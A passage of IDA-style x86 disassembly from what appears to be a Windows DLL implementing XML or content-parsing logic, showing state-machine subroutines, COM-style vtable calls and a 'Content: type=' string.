		call	sub_69B8CC5D
		mov	eax, offset sub_69B8DC6E
		mov	[esi+78h], eax
		mov	[esi+7Ch], ebx
		jmp	loc_69B8EBE1
; ---------------------------------------------------------------------------


loc_69B8EA57:				; CODE XREF: sub_69B8E980+1Dj
		mov	eax, [esi+14h]
		mov	eax, [eax+48h]
		test	eax, eax
		mov	ebx, [ebp+arg_14]
		mov	ecx, [ebx+8]
		jz	short loc_69B8EA6F
		push	ecx
		mov	ecx, eax
		call	sub_69B1980A


loc_69B8EA6F:				; CODE XREF: sub_69B8E980+E5j
		push	eax
		lea	edi, [esi+30h]
		push	edi
		call	sub_69B17320
		cmp	dword ptr [edi], 0
		jnz	short loc_69B8EA8E
		mov	ecx, [esi+14h]
		push	ebx
		call	sub_69B8B707
		push	eax
		push	edi
		call	sub_69B17320


loc_69B8EA8E:				; CODE XREF: sub_69B8E980+FCj
		mov	eax, offset sub_69B8DCB5
		jmp	loc_69B8EB1A
; ---------------------------------------------------------------------------


loc_69B8EA98:				; CODE XREF: sub_69B8E980+16j
		mov	eax, [esi+14h]
		mov	eax, [eax+48h]
		test	eax, eax
		mov	ebx, [ebp+arg_14]
		mov	ecx, [ebx+8]
		jz	short loc_69B8EAB0
		push	ecx
		mov	ecx, eax
		call	sub_69B1980A


loc_69B8EAB0:				; CODE XREF: sub_69B8E980+126j
		push	eax
		lea	edi, [esi+30h]
		push	edi
		call	sub_69B17320
		cmp	dword ptr [edi], 0
		jz	short loc_69B8EADA
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE01Bh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B8EAEA
; ---------------------------------------------------------------------------


loc_69B8EADA:				; CODE XREF: sub_69B8E980+13Dj
		mov	ecx, [esi+14h]
		push	ebx
		call	sub_69B8B6C8
		push	eax
		push	edi
		call	sub_69B17320


loc_69B8EAEA:				; CODE XREF: sub_69B8E980+158j
		mov	ecx, [edi]
		call	sub_69B5AF99
		mov	ebx, eax
		mov	ecx, ebx
		call	sub_69B8F567
		mov	byte ptr [ebx+28h], 2
		mov	ecx, [esi+14h]
		push	0
		push	dword ptr [edi]
		mov	byte ptr [esi+34h], 1
		call	sub_69B8B4EF
		mov	eax, [esi+14h]
		mov	byte ptr [eax+2Dh], 1
		mov	eax, offset sub_69B8DBA2


loc_69B8EB1A:				; CODE XREF: sub_69B8E980+113j
		xor	ecx, ecx
		mov	[esi+78h], eax
		mov	[esi+7Ch], ecx
		jmp	loc_69B8EBE1
; ---------------------------------------------------------------------------


loc_69B8EB27:				; CODE XREF: sub_69B8E980+Fj
		mov	eax, [ebp+arg_14]
		mov	edi, [eax+8]
		cmp	[ebp+arg_C], 31h
		push	34h
		mov	[ebp+arg_8], edi
		setz	byte ptr [ebp+arg_C]
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8EB50
		push	[ebp+arg_C]
		mov	ecx, eax
		push	edi
		call	sub_69B16E78
		jmp	short loc_69B8EB52
; ---------------------------------------------------------------------------


loc_69B8EB50:				; CODE XREF: sub_69B8E980+1C1j
		xor	eax, eax


loc_69B8EB52:				; CODE XREF: sub_69B8E980+1CEj
		push	eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_69B17320
		mov	eax, [edi]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+1Ch]
		push	eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+18h]
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8C548
		push	[ebp+arg_14]
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320
		push	[ebp+arg_C]
		xor	ecx, ecx
		push	[ebp+arg_8]
		mov	eax, offset sub_69B8E4C4
		mov	[esi+7Ch], ecx
		mov	ecx, [esi+14h]
		mov	[esi+78h], eax
		call	sub_69B8AFBA
		test	eax, eax
		jnz	short loc_69B8EBAF
		push	dword ptr [edi]
		mov	ecx, [esi+14h]
		call	sub_69B8B462


loc_69B8EBAF:				; CODE XREF: sub_69B8E980+223j
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_69B8EBE1
		push	[ebp+arg_18]
		xor	eax, eax
		push	[ebp+arg_14]
		push	eax
		push	eax
		push	eax
		push	eax
		push	1
		push	7
		push	dword ptr [esi+40h]
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_69B8D750
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax]
		mov	ecx, [edi]
		call	sub_69B8C559
		mov	byte ptr [esi+60h], 1


loc_69B8EBE1:				; CODE XREF: sub_69B8E980+24j
					; sub_69B8E980+D2j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	1Ch
sub_69B8E980	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B8EBEA(LPCWSTR lpString)

sub_69B8EBEA	proc near		; CODE XREF: sub_69B8ECE6+77p
					; sub_69B8ECE6+C2p

lpString	= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+48h], ebx
		jz	short loc_69B8EC61
		push	edi


loc_69B8EBF6:				; CODE XREF: sub_69B8EBEA+69j
		mov	ecx, [esi+48h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B8EC55
		mov	ecx, [esi+48h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		push	eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_69B17320
		mov	edi, [edi]
		cmp	dword ptr [edi+20h], 0
		jnz	short loc_69B8EC45
		mov	eax, [edi+30h]
		shr	eax, 3
		test	al, 1
		jnz	short loc_69B8EC45
		push	edi		; int
		push	[esp+10h+lpString] ; lpString
		mov	ecx, esi
		call	sub_69B8E5B4
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B8EC60
		cmp	byte ptr [esi+3Dh], 0
		jnz	short loc_69B8EC60


loc_69B8EC45:				; CODE XREF: sub_69B8EBEA+37j
					; sub_69B8EBEA+41j
		push	dword ptr [esi+68h]
		mov	ecx, edi
		call	sub_69B8C56F
		or	byte ptr [eax+0Ah], 1
		jmp	short loc_69B8EBF6
; ---------------------------------------------------------------------------


loc_69B8EC55:				; CODE XREF: sub_69B8EBEA+16j
		push	0
		add	esi, 2Ch
		push	esi
		call	sub_69B17320


loc_69B8EC60:				; CODE XREF: sub_69B8EBEA+53j
					; sub_69B8EBEA+59j
		pop	edi


loc_69B8EC61:				; CODE XREF: sub_69B8EBEA+9j
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_69B8EBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8EC68	proc near		; CODE XREF: sub_69B8ECE6+123p
					; sub_69B8F007+44p
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		mov	eax, offset sub_69B8E980
		mov	[esi+78h], eax
		push	ebx
		lea	eax, [esi+2Ch]
		xor	ecx, ecx
		push	eax
		mov	[esi+1Ch], ebx
		mov	[esi+7Ch], ecx
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+40h]
		push	eax
		mov	[esi+3Ch], bl
		mov	[esi+3Dh], bl
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		mov	[esi+34h], bl
		mov	[esi+58h], bl
		mov	[esi+70h], ebx
		mov	[esi+5Ch], ebx
		mov	[esi+60h], bl
		push	ebx
		add	esi, 64h
		push	esi
		call	sub_69B17320
		pop	esi
		pop	ebx
		retn
sub_69B8EC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B8ECE6(int, LPCWSTR lpString, int)

sub_69B8ECE6	proc near		; DATA XREF: .text:69B149B8o

arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	loc_69B8EE07
		dec	eax
		jz	loc_69B8EDFB
		dec	eax
		jz	loc_69B8EDED
		dec	eax
		jz	loc_69B8EDFB
		dec	eax
		jz	loc_69B8EDED
		dec	eax
		jz	short loc_69B8ED7B
		dec	eax
		dec	eax
		jnz	loc_69B8EE0E
		lea	edi, [esi+2Ch]
		mov	ecx, [edi]
		cmp	ecx, ebx
		mov	[esi+3Dh], bl
		mov	dword ptr [esi+70h], 5
		jz	short loc_69B8ED6A
		push	dword ptr [esi+68h]
		call	sub_69B8C56F
		cmp	eax, ebx
		jz	short loc_69B8ED6A
		or	byte ptr [eax+0Ah], 1
		push	1
		push	1
		mov	ecx, eax
		call	sub_69B49321
		push	ebx
		push	edi
		call	sub_69B17320
		push	[ebp+lpString]	; lpString
		mov	ecx, esi
		call	sub_69B8EBEA
		cmp	eax, ebx
		jl	loc_69B8EE2C


loc_69B8ED6A:				; CODE XREF: sub_69B8ECE6+4Ej
					; sub_69B8ECE6+5Aj
		push	5
		pop	eax
		cmp	[esi+70h], eax
		jnz	loc_69B8EE0E
		mov	[ebp+arg_8], eax
		jmp	short loc_69B8EDC3
; ---------------------------------------------------------------------------


loc_69B8ED7B:				; CODE XREF: sub_69B8ECE6+33j
		mov	ecx, [esi+14h]
		call	sub_69B8B602
		cmp	[esi+1Ch], ebx
		jnz	short loc_69B8EDB1
		cmp	[esi+3Dh], bl
		jnz	short loc_69B8EDB1
		mov	ecx, [esi+14h]
		push	ebx
		call	sub_69B8AFE1
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	[ebp+lpString]	; lpString
		mov	ecx, esi
		mov	[esi+3Dh], bl
		call	sub_69B8EBEA
		cmp	eax, ebx
		jl	short loc_69B8EE2C


loc_69B8EDB1:				; CODE XREF: sub_69B8ECE6+A0j
					; sub_69B8ECE6+A5j
		cmp	[esi+70h], ebx
		jnz	short loc_69B8EDBD
		mov	dword ptr [esi+70h], 2


loc_69B8EDBD:				; CODE XREF: sub_69B8ECE6+CEj
		cmp	dword ptr [esi+70h], 4
		jz	short loc_69B8EE29


loc_69B8EDC3:				; CODE XREF: sub_69B8ECE6+93j
		mov	ecx, esi
		call	sub_69B8D85E
		mov	ecx, esi
		call	sub_69B8D899
		cmp	eax, ebx
		jl	short loc_69B8EE2C
		mov	eax, [esi+14h]
		cmp	[eax+2Eh], bl
		jz	short loc_69B8EDE4
		mov	ecx, esi
		call	sub_69B8DF85


loc_69B8EDE4:				; CODE XREF: sub_69B8ECE6+F5j
		mov	eax, [esi+40h]
		or	byte ptr [eax+0Ah], 1
		jmp	short loc_69B8EE0E
; ---------------------------------------------------------------------------


loc_69B8EDED:				; CODE XREF: sub_69B8ECE6+1Ej
					; sub_69B8ECE6+2Cj
		dec	dword ptr [esi+1Ch]
		jnz	short loc_69B8EE0E
		mov	dword ptr [esi+70h], 5
		jmp	short loc_69B8EE0E
; ---------------------------------------------------------------------------


loc_69B8EDFB:				; CODE XREF: sub_69B8ECE6+17j
					; sub_69B8ECE6+25j
		inc	dword ptr [esi+1Ch]
		mov	dword ptr [esi+70h], 3
		jmp	short loc_69B8EE0E
; ---------------------------------------------------------------------------


loc_69B8EE07:				; CODE XREF: sub_69B8ECE6+10j
		mov	ecx, esi
		call	sub_69B8EC68


loc_69B8EE0E:				; CODE XREF: sub_69B8ECE6+37j
					; sub_69B8ECE6+8Aj ...
		push	[ebp+arg_8]
		mov	eax, [esi+10h]
		push	[ebp+lpString]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		cmp	[ebp+arg_8], 7
		jnz	short loc_69B8EE2C
		cmp	dword ptr [esi+70h], 4
		jnz	short loc_69B8EE2C


loc_69B8EE29:				; CODE XREF: sub_69B8ECE6+DBj
		xor	eax, eax
		inc	eax


loc_69B8EE2C:				; CODE XREF: sub_69B8ECE6+7Ej
					; sub_69B8ECE6+C9j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B8ECE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8EE33	proc near		; DATA XREF: .text:69B149C0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		dec	dword ptr [esi+50h]
		mov	edx, [eax+4]
		mov	eax, [esi+70h]
		cmp	eax, edi
		mov	[ebp+var_4], edi
		jl	loc_69B8EFFE
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		push	ebx
		jle	loc_69B8EF7B
		cmp	eax, 2
		jz	loc_69B8EFE8
		cmp	eax, 3
		jz	short loc_69B8EEA4
		cmp	eax, 4
		jz	loc_69B8EFE8
		push	5
		pop	ecx
		cmp	eax, ecx
		jz	short loc_69B8EE8C
		cmp	eax, 6
		jnz	loc_69B8EFFD
		mov	[esi+70h], ecx


loc_69B8EE8C:				; CODE XREF: sub_69B8EE33+4Bj
		sub	edx, ecx
		jz	loc_69B8EF82
		dec	edx
		jnz	loc_69B8EFE8
		mov	byte ptr [esi+3Ch], 0
		jmp	loc_69B8EFE8
; ---------------------------------------------------------------------------


loc_69B8EEA4:				; CODE XREF: sub_69B8EE33+3Bj
		cmp	edx, 6
		jnz	short loc_69B8EEBC
		cmp	byte ptr [esi+60h], 0
		mov	byte ptr [esi+3Ch], 0
		jz	loc_69B8EFFD
		jmp	loc_69B8EFE8
; ---------------------------------------------------------------------------


loc_69B8EEBC:				; CODE XREF: sub_69B8EE33+74j
		cmp	edx, 0Bh
		jnz	short loc_69B8EEDF
		cmp	byte ptr [esi+34h], 0
		jz	short loc_69B8EED7
		mov	eax, [esi+30h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8F5A8
		jmp	loc_69B8EFFD
; ---------------------------------------------------------------------------


loc_69B8EED7:				; CODE XREF: sub_69B8EE33+92j
		mov	[esi+44h], ecx
		jmp	loc_69B8EFFD
; ---------------------------------------------------------------------------


loc_69B8EEDF:				; CODE XREF: sub_69B8EE33+8Cj
		push	5
		pop	ecx
		cmp	edx, ecx
		jz	loc_69B8EF82
		cmp	edx, 8
		jnz	short loc_69B8EF10
		lea	ebx, [esi+30h]
		mov	eax, [ebx]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FBCF
		push	edi
		push	ebx
		mov	byte ptr [esi+34h], 0
		call	sub_69B17320
		mov	eax, [esi+14h]
		mov	byte ptr [eax+2Dh], 0
		jmp	short loc_69B8EF25
; ---------------------------------------------------------------------------


loc_69B8EF10:				; CODE XREF: sub_69B8EE33+BAj
		cmp	edx, 9
		jnz	short loc_69B8EF25
		mov	ecx, [esi+24h]
		cmp	ecx, edi
		jz	short loc_69B8EF25
		push	edi
		push	dword ptr [esi+30h]
		call	sub_69B8CDCB


loc_69B8EF25:				; CODE XREF: sub_69B8EE33+DBj
					; sub_69B8EE33+E0j ...
		cmp	byte ptr [esi+58h], 0
		jz	short loc_69B8EF62
		push	edi
		push	edi
		push	2
		lea	ebx, [esi+24h]
		mov	eax, [ebx]
		mov	byte ptr [esi+58h], 0
		push	dword ptr [eax+10h]
		push	[ebp+arg_4]
		push	dword ptr [esi+10h]
		call	sub_69B8D7E7
		push	edi
		push	ebx
		call	sub_69B17320


loc_69B8EF4D:				; CODE XREF: sub_69B8EE33+133j
		mov	eax, offset sub_69B8E980
		xor	ecx, ecx
		mov	[esi+78h], eax
		mov	[esi+7Ch], ecx
		mov	[esi+5Ch], edi
		jmp	loc_69B8EFFD
; ---------------------------------------------------------------------------


loc_69B8EF62:				; CODE XREF: sub_69B8EE33+F6j
		cmp	byte ptr [esi+60h], 0
		jz	short loc_69B8EF4D
		mov	eax, offset sub_69B8E980
		xor	ecx, ecx
		mov	byte ptr [esi+60h], 0
		mov	[esi+78h], eax
		mov	[esi+7Ch], ecx
		jmp	short loc_69B8EFE8
; ---------------------------------------------------------------------------


loc_69B8EF7B:				; CODE XREF: sub_69B8EE33+29j
		push	5
		pop	ecx
		cmp	edx, ecx
		jnz	short loc_69B8EFE8


loc_69B8EF82:				; CODE XREF: sub_69B8EE33+5Bj
					; sub_69B8EE33+B1j
		lea	ebx, [esi+18h]
		cmp	[ebx], edi
		mov	[esi+70h], ecx
		mov	[esi+5Ch], edi
		jz	short loc_69B8EFE1
		mov	eax, [esi+68h]
		cmp	byte ptr [eax+83h], 0
		jz	short loc_69B8EFE1
		lea	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+arg_0], edi
		call	sub_69B8D901
		push	[ebp+arg_4]
		call	sub_69B8D688
		mov	edi, eax
		mov	eax, [ebx]
		mov	eax, [eax+0Ch]
		mov	ecx, [edi]
		push	eax
		push	[ebp+var_8]
		push	edi
		call	dword ptr [ecx+48h]
		mov	[ebp+var_4], eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		push	[ebp+arg_0]
		call	sub_69B1B2B7
		cmp	[ebp+var_4], 0
		jl	short loc_69B8EFFD
		xor	edi, edi


loc_69B8EFE1:				; CODE XREF: sub_69B8EE33+15Aj
					; sub_69B8EE33+166j
		push	edi
		push	ebx
		call	sub_69B17320


loc_69B8EFE8:				; CODE XREF: sub_69B8EE33+32j
					; sub_69B8EE33+40j ...
		push	[ebp+arg_C]
		mov	esi, [esi+10h]
		push	[ebp+arg_8]
		mov	eax, [esi]
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+14h]
		mov	[ebp+var_4], eax


loc_69B8EFFD:				; CODE XREF: sub_69B8EE33+50j
					; sub_69B8EE33+7Ej ...
		pop	ebx


loc_69B8EFFE:				; CODE XREF: sub_69B8EE33+1Dj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B8EE33	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F007	proc near		; CODE XREF: sub_69B4FDBC+25Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B4E24E
		mov	dword ptr [esi], offset	off_69B149AC
		mov	dword ptr [esi+4], offset off_69B2B1F8
		xor	edi, edi
		lea	ebx, [esi+10h]
		mov	[ebx], edi
		mov	[esi+14h], edi
		mov	[esi+18h], edi
		mov	[esi+24h], edi
		mov	[esi+2Ch], edi
		mov	[esi+30h], edi
		mov	[esi+38h], edi
		mov	[esi+40h], edi
		mov	[esi+48h], edi
		mov	[esi+4Ch], edi
		mov	[esi+64h], edi
		mov	[esi+68h], edi
		mov	ecx, esi
		mov	[esi+6Ch], edi
		call	sub_69B8EC68
		push	[esp+0Ch+arg_0]
		push	ebx
		call	sub_69B17320
		push	[esp+0Ch+arg_4]
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ebx, [esp+0Ch+arg_8]
		push	ebx
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B2DEB2
		push	dword ptr [ebx+70h]
		lea	eax, [esi+6Ch]
		push	eax
		call	sub_69B17320
		mov	[esi+50h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B8F007	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F08C	proc near		; DATA XREF: .text:69B170FCo
		mov	eax, offset off_69B8F094
		retn
sub_69B8F08C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B8F094	dd offset off_69B8F09C	; DATA XREF: sub_69B8F08Co
		dd 0
off_69B8F09C	dd offset dword_69B18894 ; DATA	XREF: .text:off_69B8F094o
					; .text:off_69B8F0ACo
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_69B8F0A4	proc near		; DATA XREF: .text:69B17034o
		mov	eax, offset off_69B8F0AC
		retn
sub_69B8F0A4	endp

; ---------------------------------------------------------------------------
		align 4
off_69B8F0AC	dd offset off_69B8F09C	; DATA XREF: sub_69B8F0A4o
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_69B8F0B4	proc near		; DATA XREF: .text:69B16FC8o
		push	0
		push	0
		push	offset off_69B8F0C8
		call	sub_69B2F2CA
		add	esp, 0Ch
		retn
sub_69B8F0B4	endp

; ---------------------------------------------------------------------------
		align 4
off_69B8F0C8	dd offset off_69B17D10	; DATA XREF: sub_69B8F0B4+4o
		align 10h
		dd 0Eh
		dd offset aContentType_0 ; "Content: type="
aContentType_0:				; DATA XREF: .text:69B8F0D4o
		unicode	0, <Content: type=>,0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_69B8F0F8	proc near		; CODE XREF: sub_69B5C3BA+40p
					; sub_69B5C589+5Fp ...
		mov	ecx, [ecx+2Ch]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+4Ch]
		retn
sub_69B8F0F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F103	proc near		; CODE XREF: sub_69B8F103+63p
					; sub_69B8F103+77p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		test	esi, esi
		push	edi
		mov	ebx, ecx
		jz	short loc_69B8F186
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		jz	short loc_69B8F186
		mov	al, [esi+8]
		cmp	al, 5
		jz	short loc_69B8F186
		cmp	al, 4
		jz	short loc_69B8F127
		cmp	al, 3
		jnz	short loc_69B8F15F


loc_69B8F127:				; CODE XREF: sub_69B8F103+1Ej
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_69B8F143
		cmp	byte ptr [eax+8], 5
		jnz	short loc_69B8F143
		mov	eax, [eax+18h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx+24h]
		test	al, al
		jnz	short loc_69B8F16F


loc_69B8F143:				; CODE XREF: sub_69B8F103+29j
					; sub_69B8F103+2Fj
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_69B8F15F
		cmp	byte ptr [eax+8], 5
		jnz	short loc_69B8F15F
		mov	eax, [eax+18h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx+24h]
		test	al, al
		jnz	short loc_69B8F16F


loc_69B8F15F:				; CODE XREF: sub_69B8F103+22j
					; sub_69B8F103+45j ...
		mov	eax, [esi+14h]
		push	edi
		push	eax
		mov	ecx, ebx
		call	sub_69B8F103
		test	al, al
		jz	short loc_69B8F173


loc_69B8F16F:				; CODE XREF: sub_69B8F103+3Ej
					; sub_69B8F103+5Aj
		mov	al, 1
		jmp	short loc_69B8F188
; ---------------------------------------------------------------------------


loc_69B8F173:				; CODE XREF: sub_69B8F103+6Aj
		mov	esi, [esi+18h]
		push	edi
		push	esi
		mov	ecx, ebx
		call	sub_69B8F103
		test	al, al
		setnz	al
		jmp	short loc_69B8F188
; ---------------------------------------------------------------------------


loc_69B8F186:				; CODE XREF: sub_69B8F103+Bj
					; sub_69B8F103+13j ...
		xor	al, al


loc_69B8F188:				; CODE XREF: sub_69B8F103+6Ej
					; sub_69B8F103+81j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B8F103	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F18E	proc near		; CODE XREF: sub_69B7855F+39p
		mov	ecx, [ecx+1Ch]
		push	0
		push	ecx
		call	sub_69B3156E
		retn
sub_69B8F18E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F19A	proc near		; CODE XREF: sub_69B8F83D+D3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, ecx
		mov	ecx, [eax+8]
		push	esi
		shl	ecx, 2
		push	edi
		lea	esi, [eax+0Ch]
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [edx+0Ch]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn	4
sub_69B8F19A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F1C1	proc near		; DATA XREF: .text:69B16FD0o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B8F1C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F220	proc near		; CODE XREF: sub_69B5AF99+3p
		push	34h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F232
		mov	ecx, eax
		jmp	sub_69B16F64
; ---------------------------------------------------------------------------


loc_69B8F232:				; CODE XREF: sub_69B8F220+9j
		xor	eax, eax
		retn
sub_69B8F220	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F235	proc near		; CODE XREF: sub_69B16FD4+4p
					; sub_69B17064+8p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		and	dword ptr [esi+0Ch], 0
		and	dword ptr [esi+10h], 0
		mov	eax, esi
		pop	esi
		retn
sub_69B8F235	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F249	proc near		; CODE XREF: sub_69B47157+3p
					; sub_69B8FA6E+Ep ...
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8F249	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F266	proc near		; DATA XREF: .text:69B17050o
		push	esi
		mov	esi, ecx
		movzx	eax, byte ptr [esi+8]
		sub	eax, 0
		jz	short loc_69B8F2A3
		dec	eax
		jz	short loc_69B8F287
		sub	eax, 3
		jz	short loc_69B8F27E
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B8F27E:				; CODE XREF: sub_69B8F266+12j
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax+38h]
; ---------------------------------------------------------------------------


loc_69B8F287:				; CODE XREF: sub_69B8F266+Dj
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8F2B1


loc_69B8F293:				; CODE XREF: sub_69B8F266+49j
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8F2B1


loc_69B8F29F:				; CODE XREF: sub_69B8F266+47j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B8F2A3:				; CODE XREF: sub_69B8F266+Aj
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B8F29F
		jmp	short loc_69B8F293
; ---------------------------------------------------------------------------


loc_69B8F2B1:				; CODE XREF: sub_69B8F266+2Bj
					; sub_69B8F266+37j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_69B8F266	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F2B6	proc near		; CODE XREF: sub_69B8F2CD+50p
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F2C8
		mov	ecx, eax
		jmp	sub_69B16FD4
; ---------------------------------------------------------------------------


loc_69B8F2C8:				; CODE XREF: sub_69B8F2B6+9j
		xor	eax, eax
		retn	0Ch
sub_69B8F2B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F2CD	proc near		; DATA XREF: .text:69B17054o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+18h], 0
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	edi
		push	[esp+8+arg_0]
		jnz	short loc_69B8F305
		movzx	esi, byte ptr [esi+8]
		call	dword ptr [eax+3Ch]
		push	1Ch
		mov	edi, eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F301
		push	esi
		push	0
		push	edi
		mov	ecx, eax
		call	sub_69B16FD4
		jmp	short loc_69B8F322
; ---------------------------------------------------------------------------


loc_69B8F301:				; CODE XREF: sub_69B8F2CD+25j
		xor	eax, eax
		jmp	short loc_69B8F322
; ---------------------------------------------------------------------------


loc_69B8F305:				; CODE XREF: sub_69B8F2CD+11j
		call	dword ptr [eax+3Ch]
		mov	ecx, [esi+18h]
		push	[esp+8+arg_0]
		mov	edi, eax
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
